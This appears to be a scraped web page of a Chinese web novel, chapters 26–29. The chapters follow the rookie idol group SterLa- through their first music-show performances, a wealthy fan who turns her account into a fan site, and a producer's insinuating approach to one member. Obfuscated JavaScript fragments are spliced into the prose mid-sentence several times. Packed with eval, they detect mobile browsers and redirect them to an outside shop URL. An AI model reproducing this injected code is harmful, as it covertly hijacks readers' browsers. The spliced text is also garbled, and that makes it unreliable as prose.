l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725608|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “走吧。练练去。”吴星雨带着江翰飞和于立果，招呼着禹安和葛文山跟过来，五人就往那边练舞去了。 位置不大，只能小幅度的移动和做小动作，熟悉熟悉舞蹈动作和走位。进入练习之后，反而整个人都平静了下来，全身心投入到艰难地练习里。 几人站在走廊拐角处那一小块儿地方练习的样子，来来往往的工作人员就没有不好奇的。但他们见多了明星，又签过保密协议，只是克制的看看，暗自感慨一下哪个团这么惨在走廊练习走位，倒也没人拍照录视频。 SterLa-今天的打歌服是MV和概念照的同款主造型。不动还好，一动起来穿着毛衣的江翰飞和穿着皮衣的葛文山就开始流汗了。走过几遍，不想大出汗的几人只能先停下，等歇歇汗没了再开始，不然待会儿补妆该麻烦了。 几人又回到妆造师一起的地方，妆造师拿出随身携带的化妆小包，想先把眼妆部分先补补。刚拿出来家伙，欣怡匆匆地跑过来，说是找到休息室了。众人这才拖着几个箱子往到了休息室坐下。 休息室特别的小，五个男生挤进去，化妆师再进去就是人挤人背抵背了，随时随地跟人摩肩擦踵，服饰和道具的箱子实在放不进里面，只能又堆在了走廊。 不知道哪位暴脾气的妆造师恨恨骂了一句，“日你仙人板板哦！” 众人都装作没听到的样子，反正肯定不是在骂他们。 唐君君挂完电话，在楼梯口努力压着火气，她就是明摆着被整了。有人搭上了这台长儿子的关系，让今天首次来打歌的SterLa-直接没排休息室。更恶心的是这事儿说大不大，说小不小，一些小公司的团或者不会来事儿的新团，惹着台里的谁被这么恶整一遭不是什么新鲜事儿。但乐狮一个圈内算是有名头的公司，她带着团来却被整，打的可不就是她的脸？ 她也没那么大的能量直接找上台长，节目导演和监制都不想沾事儿，最后还是辗转好几个人托到了另一个关系户手里，给了他们一间休息室。 只是休息室本是单人用的，现在塞了五个人加造型师进去，能不挤吗？ 等回到休息室的时候，唐君君神色平静，无视休息室的拥挤，站在门口说道，“录制的顺序定了，大概下午三点半左右，排在IUE后面。” “录制的时候尽全力，把每次录制都当成最后一次机会。”唐君君眼神暗了一下又很快恢复，圈内很多经纪人喜欢把消息瞒着艺人，只告诉他们干什么，让他们照着做就行。但她唐君君不想要傀儡爱豆，没脑子的人迟早在圈内要被玩儿死，所以该说的她都会跟他们说。 “我们后面排的是人气男团，他们什么时候到场，你们什么时候下台。” 26.第 26 章 虽然上午几经波折，但下午录制还算顺利，前一个团提前结束录制。到他们上台录制的时候不过刚三点。 台上灯都开着，主持人正在串场。 念到SterLa-的时候，吴星雨打头，他们跟在后面依次上台。 在台上踩实了，江翰飞脑子才反应过来这下是真的对着一群陌生的粉丝了。台边的高功率射灯特别的亮，晃得他头晕眼花，呼吸急促。 跟公司考核不一样，考核发挥不好，顶多自己在考核结果里多个不如意的评级；在这儿出现差错，收到的就会是台下观众的嘘声。 于是他从台边候场开始就活蹦乱跳的心脏蹦跶得更厉害了，那跳动的气势堪比孙悟空被压在五指山下被放出来时那冲天一跳，想上天。 台上的主持人很专业，让他们做了自我介绍，又问了几个问题。 “那作为新人男团，这是你们的第一个打歌舞台，心情是什么样的呢？”女主持人笑盈盈地问道。 这是一个写进了教科书的模范问题。 吴星雨见江翰飞一直没过说话，就把话筒递了过去，示意江翰飞来回答。 “像孙悟空一样。”江翰飞没想到会让自己回答，手里被塞进话筒脑子一抽直接脱口而出。说完才发现空气好像安静了，只有自己刚刚回答的声音还有一点回声，这才反应过来自己刚刚说了什么。 江翰飞脑子瞬间过载，在他快二十年的人生里没有遇到过这种情况！ 喉咙紧张的滚动两次，手下意识用力捏着话筒，求助地看向吴星雨地问道，“队长，这段可以剪掉吗······” 说完发现自己好像还举着麦克风，声音回荡在这个录制厅里。 江翰飞：······ 不是，这个世界能时间倒流吗？ 或者系统你在吗？任务我是完不成了，要不你现在把我抹杀了吧！ “哈哈哈哈哈哈！”台下的粉丝乐不可支，笑倒了一片。提前录制的台下粉丝都实打实的。他们后面排的是一个人气男团，台下的粉丝不少都是人气男团的粉丝。刚刚见他们上来打招呼，还特别善意的挥了挥手里的应援棒，现在都笑得不行。 “哎哟笑死我了，怎么能这么可爱啊！叫什么名字啊？” “江翰飞吧，刚刚上台自我介绍的时候是这么说的。” “可爱的新人美，别紧张啊！” 女主持人刚刚也忍不住拿手卡挡着笑了一会儿，见江翰飞脸和脖子都涨红了，忙出来救场，“剪掉是不能剪了，但是SterLa-可以用实力舞台来帮助大家遗忘哦。” “下面就请欣赏我们新人男团SterLa-带来的专辑同名主打曲《钢铁丛林》吧！” 主持人说完笑着退场。 舞台上的灯光熄灭，刚刚喧闹的录制厅内一下子变得安静，只听见机器运转的电流音。 江翰飞摆好开场姿势，手指狠狠掐了几下手心，用痛觉帮助集中精神，摒弃刚刚社死的记忆。 “咔嚓咔嚓——”前奏响起。 几人也像是机器人一样来回走动，似乎身处一条热闹的街道。缓缓的，所有人顿立在原地，开头就是于立果的声音：低沉，平和，甚至好似带了点沮丧的嗓音流淌出来。微微沙哑音色的颗粒感像按摩器上凸出的颗粒，按摩着你的听觉神经，在这个封闭的演播大厅里来回晃荡。 “哇，这音色妥妥低音炮，好帅！” “他们开麦了诶！新人男团首场就敢开麦，勇气可嘉。” “嘘——” 伴着于立果的声音和音乐节奏，他们的舞蹈好像又变得失落和沮丧，手向前抓去，又仿佛突然失去了力气，想奔跑，又挣不开锁着的链条。最终无奈的在原地失落徘徊。 不等心情跟着坠落到更低，突然一个变调进入了主歌的第二部分，编曲多加了一轨笛子，失真的音质仿佛是远处传来的恶魔低语。吴星雨走向最前面似乎是被引诱了，想往恶魔的方向走去，但被身后的兄弟抓住了身体。他回头看着自己的兄弟，已经被恶魔蛊惑的他眼里兄弟已经不再是兄弟，双方你来我往。 在葛文山的Rap段切入后，朦胧的笛子消失，取而代之的是节奏由慢到快的低沉鼓点，仿佛是在跟刚刚的恶魔低语对峙，又在呼唤着被恶魔蛊惑的兄弟醒来。葛文山站在舞台最前面，一个个字像是子弹，带着饱满的情绪和冲冠的爆发力，对着现场观众们射击。 紧接着急促的鼓点接上了这段Rap正式进入副歌部分。江翰飞的声音随之滑行进来，松弛的两句过渡Rap的强节奏，仿佛暴风雨前的蓄力。众人的舞蹈也转变为江翰飞站C的齐舞，倒V字形排开，像是摧枯拉朽的暴风雨，用强劲气势将敌人一扫而空。 副歌结束，进入Dance Break，吴星雨走位站到中间领着大家。急促的鼓点敲打着人们的耳膜，让人心跳加快，血液流速上升，进入亢奋的状态。 战斗还在继续，不等他们欢庆成功，新的恶魔一个个接踵而至。但是五人仿佛是一堵墙，只要有他们在，恶魔无法靠近人类分毫。 最终，天亮了，只能出没在夜里的恶魔褪去。 起床的人伸了伸懒腰，感慨昨晚又是一个平安夜。 一曲终结，空气有2秒是凝滞的，只能听见台上五个人粗重的喘息声，台下的观众们沉浸在结束前的那一段激烈舞蹈里没回过神来。 直到导播的声音传来，“SterLa-，整理一下，五分钟之后录制第二次。” 台下的粉丝这才回过神来，为他们刚刚的表演献上热烈的掌声和欢呼声。 他们表演很开心，台下的观众们也很开心，两边相互看着一起笑，热烈的氛围让平时不怎么有表情的葛文山和江翰飞也都一直挂着笑。听导演又催了一次场，几人赶紧向台下鞠个躬，然后被等候已久的造型师姐姐们拉到候场台边上抓紧时间擦汗补妆了。 造型师拿着粉饼给江翰飞补妆。江翰飞闭着眼睛，喘着的气还带着刚刚的热烈，太阳穴跳得很快，脑子还在兴奋着回放刚刚在台上的身影和台下的欢呼。 舞台上表演的感觉他难以形容。 舞台以外是黑暗的，黑到看不清台下人的脸。舞台上却是明亮的，大射灯尽职尽责的关照到他身上每一个地方，头顶的聚光灯跟随着他的动作，彩色的霓虹灯跟着节奏跳动，台下应援棒的光在使劲儿摇晃，所有的光都聚焦在台上。 太亮了，他心想，亮得他眼睛都快晕了，脑子都快因为兴奋缺氧了。 原来，有观众的舞台是这样的感觉吗？ 和练习室的感觉完全不一样，在台上被所有人注视着，他什么也不能思考，脑子发白，但身体和表情自然而然的知道下一个动作，又逼出胸腔里的最后一口气，竭尽全力的做每一个动作，连伸展的指尖都紧绷着，想要被所有光眷顾。 这种感觉·· ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729395|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ···· 他好喜欢。 出场的尴尬早已被他抛到脑后。他知道自己现在心跳特别的快。 自己现在一定连耳朵都是热的吧？ 他能感受到那股热量从头到脚，到他身体的每一个微小的部分都沉浸其中。 就算心跳的快又怎么样，他不想再去安抚自己的心跳，就让它激动吧。 “SterLa-，准备录制第二场。”导演的声音传来。 化妆师也补完了妆，“翰飞，可以了，快去吧。” 江翰飞睁开眼睛，其他成员已经起身往舞台中间走去。江翰飞盯着他们的背影两秒，转过头跟化妆师道谢，翻起身，追着他们去到舞台中间。 “3 2 1，开始！” 周围的灯光再次暗了下去，舞台的光亮起。江翰飞什么也不去想，他只想跟着震动的音乐舞动，高歌，让自己尽情的在台上释放。 一台摇臂摄像头缓缓滑过来。 这是他的特写镜头，江翰飞看着摄像头，露出一个从未有过的放肆的笑。 台下的朱朱怔怔地望着台上，下意识地放下手里的摄像机。 她刚刚在取景器里看见了什么？ 直到二次录制结束，朱朱都还没回过神来。录制厅的灯已经打开了。 “······朱朱？朱朱？！”旁边柯苗小幅度拽着朱朱的手臂喊她回神。 怎么愣着不动呢？灯亮了啊，赶紧把摄像机藏起来，不然等着被收内存卡吗！？ 朱朱如梦初醒回过神，下意识低头想去看刚刚抓到的那个镜头，又被柯苗拦住了。 她才发现录制已经结束了，场内的灯已经打开了！立即把自己的摄像机往宽松的卫衣里反手一塞，藏得严严实实。 可千万不能被收了内存卡，里面还有好多图！ SterLa-没有录制第三次，人气男团提前到了场。录制完第二次补妆补了一半台里的场务小姐姐就过来告诉他们录制结束了。 快七点半时，大家都回到了台上等待着第一名的颁奖，电视台和网络频道也切换为直播，短信投票通道已经关闭，后台正在计算实时投票分数。 ICS的打歌节目会在关闭实时投票通道后根据总分公布三个冠军候补，最后宣布获得第一名的团，第一名的团会得到一个冠军奖杯以及退场时的专属打歌安可时间。 10月回归大战的第二周，这次公布的三个候补名额就已经是神仙打架了：一个超强实力的女solo和两个人气男团。最后超强实力的女solo以断层的音源分拉开了总分差距获得了第一名。 江翰飞他们几个新人站在最后面跟着鼓掌。新人连最后谢幕都站不到前排。 他们旁边就是K家的新团IUE和安阳娱乐的新团KtM。三个不同公司推出的新男团站的泾渭分明，谁也不想沾着谁。 三团手拉手，谁先爆谁是狗。 第一名已经开始安可，其他所有打歌的团依次退场，整场录制结束。 江翰飞他们的妆造师和工作人员早已收拾好了东西等在车上。休息室太小，待会儿还得开会，几人一出来就直接上车回了公司，到公司再卸妆。 这让想过来接下班路的朱朱和柯苗扑了个空。 沮丧不过两秒，朱朱想到自己内存卡里的图又兴奋起来，草草跟柯苗道别，打车飞奔回家。 电脑，P图，我来啦！ 27.第 27 章 五人卸完妆，做个简单的护理就去了会议室。 在坐的是今天参与了首次打歌舞台的所有人以及在早上在公司和营销部开会没去的执行经纪人。 “第一次打歌，说说自己的问题吧。”唐君君坐在最前面，没有寒暄，迅速切入主题。 “早上在入口打招呼的方式不对，还有遇到休息室的问题，没有及时调整心态······”从吴星雨开始，一个个反省着今天没做好的地方。 ······ “第一次录制的时候说错话。两个特写镜头没有抓好，中间齐舞部分有个动作抢拍了。”江翰飞回忆完毕。现在兴奋劲儿退下来，脑子里还是记不起第二次录制的舞台上自己干了什么，只有第一次录制说错话的尴尬和中间的抢拍勉强能回忆起来。 唐君君看向江翰飞，眼里神色不明。从他们上台开始，她就一直站在导播室里，他们什么表现，她再清楚不过。 “问题都知道那就自己抓紧时间改正。录制舞台的视频还没有发送过来，晚点发过来了我发群里你们自己看，对比一下最终播出的剪辑版本以及和你们同期打歌其他团体的放送视频。” 让看这么多是有原因的。 录制视频是舞台正中间的单机位视频，放送版本是多机位混剪的版本，对比之后才能知道哪些镜头自己做的是什么样子，出来的效果是什么样以及导播和观众喜欢什么动作和表情。 至于同期打歌的团体，主要是人气男团和同期对狙的几个新男团，无非也是为了研究舞台表现。 会议结束的很快。在快结束的时候，唐君君也对早上的休息室事件进行自我反思，她没说原因和做了什么，只说下次会提前规避，不会再遇到这种情况。听到她说抱歉的时候，众人都没反应过来，但反应过来后反而对她更服气了。 五人组回宿舍后又聚在客厅的沙发上开着小会。 出人意料的是葛文山一坐下，没先说今天的打歌，“我们的首日音源排在第135名。” 江翰飞也正在看跃音APP里的收听排行。跃音是国内最大的音乐平台，新手机一件装机的推荐软件。用户量对比同类音乐软件属于独占鳌头，不仅国内大部分打歌节目都会以跃音榜单作为音源分的来源，此外跃音每年都还会举办年末音乐颁奖典礼。这个颁奖典礼里的奖就没有水的，谁家要是拿到了这个奖，属于出去控评百分百都会带上的程度。 所以几乎所有的偶像和歌手都会选择在跃音上首发作品。 江翰飞关注过另外两个男团的音乐情况，”我记得IUE出道曲的排名是79，KtM的出道曲排名是137。” “没进日榜Top 100啊······”禹安坐在一边托着下巴说道，“他们现在多少啊？” “一个82一个132。”葛文山在一边立马报出来，显然刚刚也特意有去看这两个团的成绩。 “大家别灰心呀，我们才第一天打歌嘛！”于立果笑笑，“我看他们的走势曲线打歌之后都有上升，KtM已经是第二天了，第一天还不如我们呢。” “阿果说的对。”吴星雨见几人都有点沮丧的样子忙安慰道，“第一天我们粉丝少很正常吗，打歌结束回来的路上我看了咱们官号的粉丝数，涨了小两千呢！” “后天在Music Crossing的第二次打歌咱们好好吸取这次的教训，明天没有安排，我们去练习室把今天的问题解决掉！” “那我们明天早上8点一起去练习室？” “行。” “没问题。” 正好今天的录制视频发在了群里，大家各找地方研究去了。今天晚上找出问题，明天早上就能直接开练。 这边的富婆朱朱也兴奋得没能睡觉，电脑屏幕发着幽幽的光，映在她兴奋的瞳孔里。 “呜呜呜，这张怎么这么可爱啊，我的宝宝！” “宝宝宝宝！” “我的天，好帅好帅。” “老公！” 她一边修图，一边叽里咕噜叫着各种称呼。 电脑里有几张是团体的，大部分都是江翰飞的，里面有江翰飞微笑的样子，眼神凶狠的样子，连闭着眼睛等着妆造师补妆的样子都有。 等外面泛起鱼肚白，她才搞定所有的修图大工程。伸个懒腰都能听到骨头噼里啪啦的响声。 挂着两个黑眼圈，朱朱在入睡之前登上自己的社交账号@爱追星的朱朱呀，发了一条预告：下午三点，都来欣赏我的新老公。 换做以往，她喜欢的发了就发了，但是这次朱朱决定做个小小的策划，先预告一波等人知道的差不多了再发，这样数据更集中一些。 发完预告就再也支撑不住一头栽倒床上会周公去了。 而社交账号上关注她的各路粉丝已经热闹起来了。她的账号本来粉丝就多，还都是真粉丝，按她体量早可以接推广了，只是她看不起那点钱。也因为大家知道她有钱不会做推广而格外喜欢在这个账号下互动，每次她发的墙头都能带起一波流量关注。 “是谁能让我们的朱朱姐专门为他发一条预告？” “朱朱姐又要新老公了吗？传说中的魅力爱豆某乐连一周都没有坚持到吗？想到某些粉丝话术笑出声哈哈哈哈哈” “卧槽你快删了吧，朱朱看到会拉黑你的。” “不是都不粉了吗还拉黑我？” “因为她说前男友就应该跟尸体一样躺好，连名字也不要再出现在她眼前······” “这个理由牛逼，我接受，马上删。” “看你们回复，我真的好在意是谁让她专门发预告······” “朱朱爱追新团吧？最近新出的团有点多啊。一下子不好猜了。” “押宝IUE，新团里就他们反响最好。” “我押SterLa-，刚好他们昨天第一场打歌。” “也不一定是新团吧，也没说新团呢。” ······ 下午三点前朱朱睡醒，第一件事儿就是先打开自己的账号，满意的看着下上一条妙博下面的评论，挑了其中几个回复。看看时间差不多了，直接将提前编辑好的博文发了出去。 @爱追星的朱朱呀：请欣赏我的新老公1013 ICS首场打歌[图][图]。 PS：今天开始这个账号正式更名为Fly-Sterne，是新老公@SterLa- 江翰飞的站子号啦，又帅又可爱的阿飞欢迎大家入坑哦！ ！！！！！！ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733482|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一石激起千层浪。本来不少爱看热闹的粉丝就在蹲这个预告，上一秒刷新出来新博文看了一遍以为自己看错了，再看一遍。没看错啊！确实是说这号成某个人的个人站子号了！！ 不敢相信的再刷新一下，账号名@爱追星的朱朱呀已经变成了@Fly-Sterne。 博文区的评论正在飞速上涨，朱朱却有点不高兴了。干嘛都关注她改名啊，不是应该关注她的新老公吗？这么帅的图不填舔屏？ 粉丝和路人从震惊里回过神来，开始认真细看两张图。好奇到底是什么能让万花丛中过，片叶不沾身的花心富婆成为他的专属站姐，还把账号名都改了。 两张图拍的确实很好，第一张图上江翰飞是舞蹈的抓拍，他穿着高领黑色毛衣，左手直直向外伸展，右手握拳举起，带着锁骨轮廓坚硬而突出，头微微低垂，眉峰如刀，眼神锐利地直直看着镜头。标准的攻击准备形态让看的人不由得先被他眼神一惊，回过味儿又想仔细再看看他的眼睛。 第二张图是打歌之前的采访环节，舞台周边的灯都还亮着，江翰飞双手拿着话筒举在胸前，好像被什么给震惊到了，眼睛睁大，嘴巴微抿着，露出左边唇边一个不太显眼的酒窝。明明也穿着黑色高领毛衣，但却给人一种清澈愚蠢男大的呆萌感。 两张图的反差冲击的人一时间反应不过来，反复左右滑动图片对比，看看到底是不是一个人。 一众感叹号、激动Emoji和省略号后，朱朱终于看到评论区开始刷出她想看的评论： “别说，这个是真帅！感觉第一张图那个拳头垂下来能让我原地去世，眼神超有攻击性！和第二张看起来有点呆的图真的是同一个人吗[笑哭]” “男大，是我想要的男大！这种男大让我来！” “两张的温度差好高，第一张是我盐系酷帅老公，第二张是我可爱呆萌儿子。已坑平！” 朱朱满意点点头，这才是她想看的评论嘛！赶紧点赞顶上去。 江翰飞的粉丝自称小蝴蝶，有人在超话和粉群里发了朱朱博文截图，一大群小蝴蝶纷纷赶来给这条博文下夸奖朱朱拍的人好看图好看。 粉丝们都为自家爱豆有第一个站子开心撒花，也为自家爱豆竟然能让粉圈内都小有名气的账号所有人为他改了名字成为专属站姐而得意。 这说明什么，说明自己爱豆魅力大啊！能圈到这种站姐！ 而且是爱追行程爱发图的富婆站姐诶！他们以后岂不是有很多现场图可以看了！ 以后就可以姐姐贴贴，饿饿，图图了！ 博文热度持续增加，来了更多看热闹的。 “君君姐，我们要给这条博文加热吗？”公司的营销部有专人看着实时，很快就发现了这条博文，赶紧向上汇报。 “加！”唐君君刷着这条博文下的评论，回复简洁明了。 “好嘞！”很快，乐狮营销部自己养的和合作的一些营销号纷纷开始转载，搬运这条博文，词条#江翰飞站子很快窜了上去。 就此，Fly站姐正式奠定开荒大功臣的地位，凭一己之力，让江翰飞在出道第三天，首场打歌的第二天上了他的第一个热搜。 此时还在练习室里和队友们抠细节的江翰飞对此一无所知。 28.第 28 章 “哈哈哈哈哈哈哈，不行了，笑死我了！”于立果在休息室的沙发上笑得抬不起头来。 旁边的吴星雨和禹安稍微善良一点，撇过头去憋笑。 连葛文山的眼角都弯了。 江翰飞想起十几分钟之前，耳根的热一直退不下去。 十几分钟之前，他们刚到MCr的入口，门口也站着一圈粉丝。五人早在来的车上就互相做好了心理准备，他们才出道一两天，虽然有粉丝也不太可能在工作日大老远跑来看他们录制，更不可能大早上的就来等着他们，但是待会儿进去的路上也要注意礼貌。 做好的心里铺垫在江翰飞下车的一瞬间被撕了个粉碎。他脚刚踩着地面抬起头，就被声嘶力竭的男声震惊了：“江翰飞，小蝴蝶永远喜欢你，支持你！！！” 仿佛刚刚他踩得不是地面而是什么高压线，他浑身僵硬，脸和脖子倏然变红，不过两秒，连耳廓也一起红了。 脑子里打好的草稿，做好的准备像浮云，被这一阵狂风给卷走了，留个空空的脑子给他，让他连手脚都不知道往哪儿放才好。 直到吴星雨过来拉着他，他才跟着吴星雨他们走了过去。 走近后，几个女孩子的声音又响起来：“江翰飞回神啦！今天打歌加油哦！” “我们的阿飞加油！今天会去看你打歌的！” “江江宝别紧张啊，打歌加油！” 江翰飞脑子终于回来了，听着几个女孩子对他殷殷切切的关心和鼓励，怔愣的表情褪不下去，但仍记得说过要礼貌，不由自主地回复着：“谢谢。” 几个女孩子瞬间开心起来，又围着他叽叽喳喳说了好几句给他加油鼓劲儿的话。 江翰飞没有觉得不耐烦，反而有一种很神奇的感觉，他一时半会儿很难理清楚。眼角瞥见队友已经在那儿站着等他了，连忙和几个女孩子说道，“抱歉，我得先过去了。” 说着又指了指门口站着的队友们。 几个女孩子笑得更加满足，竟然显出几分慈祥来，“快去快去，加油加油！” 江翰飞匆匆跟他们挥手示意，快到门口时又见最开始一嗓子把他吼得魂不着地的男人，又朝着那个方向大力挥挥手，大声喊道，“也谢谢你！” 说完几步跑到队友身边，转身进去了。 再然后，从进到休息室，于立果就开始狂笑到现在。本来已经消退下去的尴尬感和脸上的红晕又在众人的调笑中再次回归。 江翰飞忍不住捏紧了沙发边缘，耳朵都红透了，但是心里又隐隐有着开心。 还来不及细细品味，唐君君就从门外进来，刚刚笑得夸张的于立果乖巧收声，其他几人也清清喉咙，正色起来。 “好好准备第二场打歌。今天打歌时间还没定，随时等通知。”唐君君抱着胸，往旁边让了一步，身后是提着东西的小助理把饮料和食物放在化妆台上。分来的杯子和食品包装袋上也贴着小贴纸：祝SterLa-二次打歌顺顺利利！ 这次没人作梗，他们分到了该有的休息室。吃完早餐，妆造师们就把他们赶到镜子前坐着，忙忙碌碌的整理起他们的头发和因为吃东西蹭到的妆容，生怕万一他们就是第一个录制。 补完妆，跟来的工作人员们刷着手机，等着不知道什么时候会来的录制通知，几个成员聚在休息室清出来的后半截，小幅度的复习着，出道专的主打曲他们已经练了无数遍了，用禹安的话来说就是闭着眼都能跳和走位。 过了两个小时，眼瞅着到了吃午饭的点儿还轮上他们，负责餐食的工作人员和欣怡已经将今天订的盒饭带进来了。除了他们五个，其余人吃的都很香。他们五个也不是觉得不好吃，只是已经习惯了吃饭细嚼慢咽。作为爱豆保持身材管理是他们的职业需要，发胖了上镜可就丑了，还会被职责没有“豆德”。 吃完饭，江翰飞去卫生间顺手扔掉大家的饭盒垃圾。回去路上刚转过一个拐角，突然愤怒的一道声音从楼道传来：“我就是气不过！” 刚刚还硬气的声音带上了隐隐的哭腔，“不就是看我们公司小，我们又没名气，才敢这样排挤我们吗？” “阿泽，你也明白。这是没办法的事。”另一道稍显成熟的男声低哑，“如果不是姚哥帮我们跟公司争取，我们连这次回归都没有，而且这MCr的打歌机会也是姚哥到处托关系，欠了不少人情才把我们送进来的。” “今天打歌为了姚哥也不能出问题。”说到最后，江翰飞觉得他的声音里带着些咬牙切齿。 “······我知道哥，不就是一顿饭吗，我不是怕，诶····我不是怕饿····我，我就是····还有陶哥他们几个······”年轻男生的话被抽噎冲得断断续续。 江翰飞没继续听下去，轻手轻脚离开了这里，快速跑回自己的休息室，他记得来的时禹安塞了好几块巧克力给他。摸到巧克力揣进兜里，又看到桌上的还没动过的几个袋子。 欣怡跟着唐君君好一段时间了，做什么事儿都喜欢留出一些余地，备餐盒时为了避免有什么意外，一直会多订几份。 江翰飞提起袋子急急地朝众人问到，“大家还有需要这几份盒饭的吗？” 众人不明所以地摇摇头，就见江翰飞兔子似的提着盒饭跑没影了。 江翰飞的速度很快，跑回来的时候楼道里的成熟男生还在鼓励年轻一些的男生。 江翰飞提着两个袋子从消防门后露出个头来，两个男生坐在阶梯转角的地方，一个在擦眼泪一个在安慰地拍拍背。 “那个，你们好？”江翰飞出声，“呃，我刚刚不小心听到几句你们的事情，我这儿有几分没动过的盒饭，是我们订多的，有需要的话你们要不先吃这个？” “啊？”年轻的男生泪眼朦胧地望过来。 “呃，就是我不小心听到你们说吃饭的问题······那个······”江翰飞这才想起似乎以前报道过很多什么食物投毒案，泻药事件什么的。刚刚自己心急没想起来，好像爱豆是不会接受陌生人的东西，尤其是食物······ 这下尴尬了。江翰飞想到。 结果年轻的男孩子几步跑上来，“真的是请我们吃吗？” “呃，是的，不过你们要是不想接受也没事的，是我没考虑周全。” 成熟点的男生也上来站在旁边，年轻男生眼神询问过去，成熟的男生点点头，转而跟江翰飞说到，“非常感谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738027|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你，我们确实需要。不过第一次见面就请客不太好，我们跟你买吧？方便加个微信吗？” 就这样，江翰飞加了年轻男生的微信，对方给他转了饭钱，又道了谢。临分别时江翰飞想起兜里的巧克力，也一股脑塞进袋子里。跑回来的路上还不小心撞到个人。 把收的饭钱转给欣怡，又找着空闲跟欣怡说了下具体的情况，也是担心有什么问题提前报备一下。倒是欣怡听到了对方的名字就叹了口气，一副了然的样子。 江翰飞也没多想，报备完又专心的准备起今天的舞台。 还算幸运的是有了首秀的经验，今天的采访环节和表演环节都非常顺利。 期间补妆的时候，他看到了早上跟他说话的那几个女生晃动着写着他名字的手幅，心里突然像是冬天冻僵了的手放进热水里被热水咬了似的一阵酥麻，不由得抬起手跟她们一样晃晃。 几个女孩子一下子开心得蹦蹦跳跳。 他也跟着笑成了月牙，完整地露出了唇边的酒窝。 娇娇放下偷偷举起来的摄像机，脸上也跟着露出幸福的笑容：啊啊啊，拍到了拍到了！我的阿飞真的好可爱啊呜呜呜呜！ 录制顺利，他们录了两边导播室就传来说下一组。五人给在场的观众鞠个躬退场。 导播室内的监制这时候也打开门走了出去，“你们先继续，我去放个水。” 众人低头不语，假装没听见。只导演斜睨他一样，发出一声不屑的嗤笑，转而对眼前的话筒大声吼道： “下一组！” 监制晃晃悠悠转去了一道出口等在那儿，这个口是爱豆下场回休息室片区的必经之路，他早就摸透了，熟得很。 江翰飞和队友们聊着天，讨论着今天舞台的发挥。 “小江啊？” 江翰飞顿住脚步，疑惑地望过去。这是在叫他吗？ 对方约莫四十多岁，矮个子，背着手，腆着个大肚子，一副领导的样子。 “您是？”江翰飞不认识对方。 对方在所有人脸上转了一圈，“我有点事儿想单独跟小江谈一下，你们要不先走？” 几人看向吴星雨，他开口说到，“好的，那阿飞我们在前面点等你。” 说着吴星雨带着其他几个人往前走了十来米，停在那儿看着这边。 王监制本来以为对方识相，干脆的带着其他人走了，没想到就走了个十来米就不动了。这会儿大声让他们走远点也不太好。见江翰飞面上带着疑惑但仍旧乖乖的看着自己，心里满足感顿升，从敞着的西装内侧口袋里摸出一张名片递过去，“我是台里的监制，叫我王监制就行。我也没别的意思，主要想认识一下你。” “回去可以加我名片上的联系方式。” 说完，王监制又慢悠悠地晃回了演播主控室。 江翰飞看着名片眼神微暗。他又不是傻子，这王监制话里有话太明显了。 捏紧手里的名片，本想直接扔掉，转念一想又塞回包里。 当天，这张名片就到了唐君君手里，“你做的很好，以后见着他离远一点，再去MCr录制不要一个人出去了。” “这个老东西我来处理。” 29.第 29 章 第一周打歌很快结束，经过打歌，他们的音源排行终于从135名上升到了102名，差一点点就可以进入Top100的榜单了。 这里的Top100不是历史累计，只是按照前一天下午六点到第二天下午六点期间的收听人数，次数，收藏人数等各种参数加权综合后得出的一个排名，所有参数权重里收听人数是最重要的，只要其他参数差距不是特别大，几乎不太会影响到榜单整体排名。 作为一个新人男团，排名进不了Top100是正常的，大部分男团出道的出道曲都在200-500徘徊，进入Top200了说明这歌和营销宣传还不错，能真正判定第一次回归效果的，回归期的音源成绩，销量成绩占一半，下次回归的音源和销量成绩占一半。 只是K家作为圈内的顶级公司，还一向给粉丝们会选曲的印象，于是每次只有K家的出道男团能在好的出道曲+好的出道营销双重作用下成为进入Top100的新人男团。 安阳娱乐的新团KtM在上升到130左右后也露出疲态，第一周的打歌周还没结束，音源成绩就开始每天逐步递减。 刚好和递增的SterLa-形成对比，在粉圈内被嘲，拿着数据被SterLa-和IUE的粉丝压着打。当然IUE作为音乐成绩最好的，嘲讽的时候是一打二，平等的嘲讽SterLa-和KtM。 本就不太和平的三家粉丝就此结下梁子。 而圈内人气前辈们的粉丝则睥睨江湖，笑着点评：菜鸡互啄。 现在SterLa- 还差一点点就能成为第二个出道即入Top100的男团，公司和成员们都不愿意放弃这个机会。 